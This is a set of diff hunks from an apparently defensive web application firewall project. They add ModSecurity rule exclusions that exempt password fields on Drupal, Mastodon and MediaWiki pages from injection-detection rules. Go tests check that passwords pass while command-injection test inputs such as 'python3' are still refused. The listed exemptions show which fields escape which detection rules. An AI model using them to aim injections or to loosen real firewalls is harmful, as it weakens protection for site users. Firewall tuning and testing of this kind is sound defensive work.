||||
|
||||
func TestDrupalPasswordFieldsPass(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const value = "pass.0.value"
|
||||
|
||||
pass := []string{"pass[pass1]", "pass[pass2]"}
|
||||
|
||||
wantPasswordFieldsPass(t, []passwordFields{
|
||||
{drupalRegister, formData, pass},
|
||||
{"/fr/user/register", formData, pass},
|
||||
{"/user/1/edit", formData, []string{"current_pass", pass[0], pass[1]}},
|
||||
{"/admin/people/create", formData, pass},
|
||||
{drupalJSONRegister, jsonBody, []string{value}},
|
||||
{drupalJSONRegister, jsonBody, []string{"pass.value"}},
|
||||
{"/user/1?_format=json", jsonBody, []string{value, "pass.0.existing"}},
|
||||
{
|
||||
"/jsonapi/user/user/86e2fbf4-0c01-4e2d-9c05-9a56e07f3e53", jsonBody,
|
||||
[]string{"data.attributes.pass.value", "data.attributes.pass.existing"},
|
||||
},
|
||||
})
|
||||
}
|
||||
|
||||
func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
@@ -264,7 +302,7 @@ func TestDrupalCommandAttackIsRefusedInTheExcludedBodyFields(t *testing.T) {
|
||||
{drupalAddArticle, "field_tags%5Btarget_id%5D="},
|
||||
{drupalAddArticle, "field_image%5B0%5D%5Balt%5D="},
|
||||
{drupalSignIn, drupalName},
|
||||
{"/user/register", drupalName},
|
||||
{drupalRegister, drupalName},
|
||||
{drupalEditAccount, "mail="},
|
||||
{"/comment/reply/node/1/comment", drupalName},
|
||||
{drupalTagForm, "name%5B0%5D%5Bvalue%5D="},
|
||||
@@ -457,7 +495,7 @@ func TestDrupalBodyFieldsStayCheckedInTheQuery(t *testing.T) {
|
||||
// on a path other than the password reset.
|
||||
for _, target := range []string{
|
||||
drupalJSONPasswordReset + "&json.name=python3",
|
||||
"/user/register?_format=json",
|
||||
drupalJSONRegister,
|
||||
} {
|
||||
r := request{http.MethodPost, target, []string{jsonBody}}
|
||||
|
||||
@@ -470,7 +508,7 @@ func TestDrupalBodyFieldsStayCheckedInTheQuery(t *testing.T) {
|
||||
// So does the JSON field mail.
|
||||
for _, target := range []string{
|
||||
drupalJSONPasswordReset + "&json.mail=python3%40example.com",
|
||||
"/user/register?_format=json",
|
||||
drupalJSONRegister,
|
||||
} {
|
||||
r := request{http.MethodPost, target, []string{jsonBody}}
|
||||
|
||||
|
||||
@@ -289,3 +289,50 @@ SecRule REQUEST_FILENAME \
|
||||
"@rx ^/api/actions_pipeline/_apis/pipelines/workflows/[0-9]+/artifacts/[^/]+/upload$" \
|
||||
"id:900640,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=920450;REQUEST_HEADERS_NAMES:Content-Range"
|
||||
|
||||
# The passwords skip each rule that random passwords set off:
|
||||
# password: signing in, signing up, linking an account, activating an account,
|
||||
# resetting or changing the password, deleting an account, and creating or
|
||||
# editing a user on the admin pages
|
||||
# retype: signing up, linking an account by signing up, and changing the
|
||||
# password
|
||||
# old_password: changing the password
|
||||
# json.password: creating or editing a user through the admin API
|
||||
SecRule REQUEST_FILENAME "@rx ^/user/(?:login|sign_up|link_account_signin|link_account_signup|activate|recover_account|settings/(?:change_password|account(?:/delete)?))$|^/(?:-/)?admin/users/(?:new|[0-9]+/edit)$|^/api/v1/admin/users(?:/[^/]+)?$" \
|
||||
"id:900650,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:/^(?:password|retype|old_password|json\.password)$/ "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:password|retype|old_password|json\.password)$/"
|
||||
@@ -176,6 +176,87 @@ SecRule REQUEST_FILENAME "@streq /api/v1/accounts" \
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?(?:password|reason)$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?(?:password|reason)$/"
|
||||
|
||||
# The passwords named above skip each rule that random passwords set off, and
|
||||
# so does form_challenge[current_password]: confirming the password at
|
||||
# /auth/challenge, or on the two-factor settings pages that ask for it again.
|
||||
SecRule REQUEST_FILENAME "@rx ^/(?:settings/(?:migration|delete|two_factor_authentication(?:_methods)?)|auth)(?:/|$)" \
|
||||
"id:900965,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/ "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/"
|
||||
|
||||
SecRule REQUEST_FILENAME "@streq /api/v1/accounts" \
|
||||
"id:900966,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:/^(?:json\.)?password$/ "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:json\.)?password$/"
|
||||
|
||||
# The web app's reports have the JSON keys forward and forward_to_domains. A
|
||||
# report forwarded to another server lists that server in forward_to_domains.
|
||||
# Their names contain .forward, a file in a home folder, so 930120 refused every
|
||||
|
||||
@@ -6,6 +6,7 @@ import (
|
||||
"net/http"
|
||||
"net/url"
|
||||
"slices"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
||||
@@ -54,12 +55,6 @@ const (
|
||||
mastodonStatus = "status="
|
||||
)
|
||||
|
||||
func TestOrdinaryMastodonRequestsPass(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
wantRecordedRequestsPass(t, "mastodon-requests.txt")
|
||||
}
|
||||
|
||||
// mastodonQueryFields sends each field that skips 930120, 932120, 932250
|
||||
// and 932260 in the query, on a path where it skips them, ending in "=".
|
||||
//
|
||||
@@ -129,10 +124,6 @@ var mastodonFormFields = []mastodonBodyField{
|
||||
{http.MethodPost, "/settings/applications", "doorkeeper_application[website]="},
|
||||
{http.MethodPost, "/settings/aliases", "account_alias[acct]="},
|
||||
{http.MethodPost, "/settings/migration", "account_migration[acct]="},
|
||||
{http.MethodPost, mastodonSignIn, mastodonPassword},
|
||||
{http.MethodPost, mastodonAccount, mastodonPassword},
|
||||
{http.MethodPost, mastodonAccount, "user[password_confirmation]="},
|
||||
{http.MethodPost, mastodonAccount, "user[current_password]="},
|
||||
{http.MethodPost, mastodonAccount, "user[invite_request_attributes][text]="},
|
||||
{http.MethodPost, "/admin/accounts/1/action", "admin_account_action[text]="},
|
||||
{http.MethodPost, "/admin/report_notes", "report_note[content]="},
|
||||
@@ -145,6 +136,19 @@ var mastodonFormFields = []mastodonBodyField{
|
||||
{http.MethodPost, mastodonRoles, "user_role[name]="},
|
||||
{http.MethodPost, mastodonTerms, "terms_of_service[text]="},
|
||||
{http.MethodPost, mastodonTerms, "terms_of_service[changelog]="},
|
||||
{http.MethodPost, mastodonSignUp, "reason="},
|
||||
}
|
||||
|
||||
// mastodonPasswordForms sends each password field in a form data body, on
|
||||
// a path where it skips the four rules and the rules that random passwords
|
||||
// set off.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var mastodonPasswordForms = []mastodonBodyField{
|
||||
{http.MethodPost, mastodonSignIn, mastodonPassword},
|
||||
{http.MethodPost, mastodonAccount, mastodonPassword},
|
||||
{http.MethodPost, mastodonAccount, "user[password_confirmation]="},
|
||||
{http.MethodPost, mastodonAccount, "user[current_password]="},
|
||||
{http.MethodPost, "/settings/migration", "account_migration[current_password]="},
|
||||
{
|
||||
http.MethodPost, "/settings/migration/redirect",
|
||||
@@ -152,7 +156,14 @@ var mastodonFormFields = []mastodonBodyField{
|
||||
},
|
||||
{http.MethodPost, "/settings/delete", "form_delete_confirmation[password]="},
|
||||
{http.MethodPost, mastodonSignUp, passwordField},
|
||||
{http.MethodPost, mastodonSignUp, "reason="},
|
||||
}
|
||||
|
||||
// mastodonPasswordJSON sends the password of signing up through the API in
|
||||
// a JSON body, with %s for its value.
|
||||
//
|
||||
//nolint:gochecknoglobals // a struct cannot be a constant
|
||||
var mastodonPasswordJSON = mastodonBodyField{
|
||||
http.MethodPost, mastodonSignUp, `{"password":%s}`,
|
||||
}
|
||||
|
||||
// mastodonJSONFields sends each field that skips the four rules in a JSON
|
||||
@@ -178,7 +189,6 @@ var mastodonJSONFields = []mastodonBodyField{
|
||||
{http.MethodPatch, mastodonProfile, `{"fields_attributes":[{"value":%s}]}`},
|
||||
{http.MethodPost, mastodonReports, `{"comment":%s}`},
|
||||
{http.MethodPost, "/api/v1/accounts/1/note", `{"comment":%s}`},
|
||||
{http.MethodPost, mastodonSignUp, `{"password":%s}`},
|
||||
{http.MethodPost, mastodonSignUp, `{"reason":%s}`},
|
||||
{http.MethodPost, "/inbox", `{"object":{"content":%s}}`},
|
||||
{http.MethodPost, mastodonInbox, `{"object":{"contentMap":{"en":%s}}}`},
|
||||
@@ -287,6 +297,46 @@ func TestMastodonAttacksAreRefusedInTheExcludedFields(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestMastodonPasswordsPass(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
for _, sent := range mastodonPasswordForms {
|
||||
t.Run(sent.target+" "+sent.field, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
r := request{sent.method, sent.target, []string{formData}}
|
||||
name := strings.TrimSuffix(sent.field, "=")
|
||||
|
||||
wantRandomPasswordsPass(t, r, name)
|
||||
wantPasswordAttacksPass(t, r, name)
|
||||
wantPasswordAttacksRefused(t, r, name)
|
||||
})
|
||||
}
|
||||
|
||||
t.Run("JSON", func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
r := request{mastodonPasswordJSON.method, mastodonPasswordJSON.target,
|
||||
[]string{jsonBody}}
|
||||
|
||||
wantRandomPasswordsPass(t, r, "password")
|
||||
wantPasswordAttacksPass(t, r, "password")
|
||||
wantPasswordAttacksRefused(t, r, "password")
|
||||
})
|
||||
}
|
||||
|
||||
func TestMastodonPasswordConfirmationPasses(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
challenge := []string{"form_challenge[current_password]"}
|
||||
|
||||
wantPasswordFieldsPass(t, []passwordFields{
|
||||
{"/auth/challenge", formData, challenge},
|
||||
{"/settings/two_factor_authentication/otp_authentication", formData, challenge},
|
||||
{"/settings/two_factor_authentication_methods/disable", formData, challenge},
|
||||
})
|
||||
}
|
||||
|
||||
func TestMastodonCommandAttackIsRefusedOutsideAPost(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
@@ -299,7 +349,7 @@ func TestMastodonCommandAttackIsRefusedOutsideAPost(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
for _, sent := range mastodonFormFields {
|
||||
for _, sent := range slices.Concat(mastodonFormFields, mastodonPasswordForms) {
|
||||
if mastodonForm(t, sent, commandInjection) < mastodonThreshold {
|
||||
t.Errorf("%v let through", sent)
|
||||
}
|
||||
@@ -310,7 +360,8 @@ func TestMastodonCommandAttackIsRefusedOutsideAPost(t *testing.T) {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
for _, sent := range mastodonJSONFields {
|
||||
passwordJSON := []mastodonBodyField{mastodonPasswordJSON}
|
||||
for _, sent := range slices.Concat(mastodonJSONFields, passwordJSON) {
|
||||
if mastodonJSON(t, sent, attack) < mastodonThreshold {
|
||||
t.Errorf("%v let through", sent)
|
||||
}
|
||||
@@ -330,6 +381,12 @@ func TestMastodonHardValuesPassInTheExcludedFields(t *testing.T) {
|
||||
t.Errorf("%s refused: %d", sent, score)
|
||||
}
|
||||
}
|
||||
|
||||
for _, sent := range mastodonPasswordForms {
|
||||
if mastodonForm(t, sent, value) >= mastodonThreshold {
|
||||
t.Errorf("%v with %s refused", sent, value)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
code := url.QueryEscape(mastodonCodePost)
|
||||
|
||||
@@ -108,6 +108,180 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:/^wp(?:summary|uploaddescription|name|password|oldtitle|newtitlemain|reason)$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^wp(?:summary|uploaddescription|name|password|oldtitle|newtitlemain|reason)$/"
|
||||
|
||||
# These passwords skip each rule random passwords set off, on MediaWiki's pages:
|
||||
# wpPassword: signing in and signing up
|
||||
# and on /api.php:
|
||||
# lgpassword: signing in with action=login
|
||||
# password, retype: action=clientlogin, createaccount and
|
||||
# changeauthenticationdata
|
||||
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
|
||||
"id:900917,phase:1,pass,nolog,chain"
|
||||
SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain"
|
||||
SecRule &ARGS_GET:wpPassword "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=920270;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=920540;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=921200;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=930100;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=930110;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=932125;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=932130;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=932160;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=932230;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=932270;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=932280;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=932330;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=932340;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=932370;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=932380;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=933100;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=933135;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=933180;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=933210;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=941100;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=941120;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=941160;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=941180;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=942100;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=942151;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=942190;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=942230;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=942290;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=942320;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=942540;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=942550;ARGS:wpPassword,\
|
||||
ctl:ruleRemoveTargetById=944150;ARGS:wpPassword"
|
||||
|
||||
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?api\.php$" \
|
||||
"id:900918,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:/^(?:lgpassword|password|retype)$/ "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:lgpassword|password|retype)$/,\
|
||||
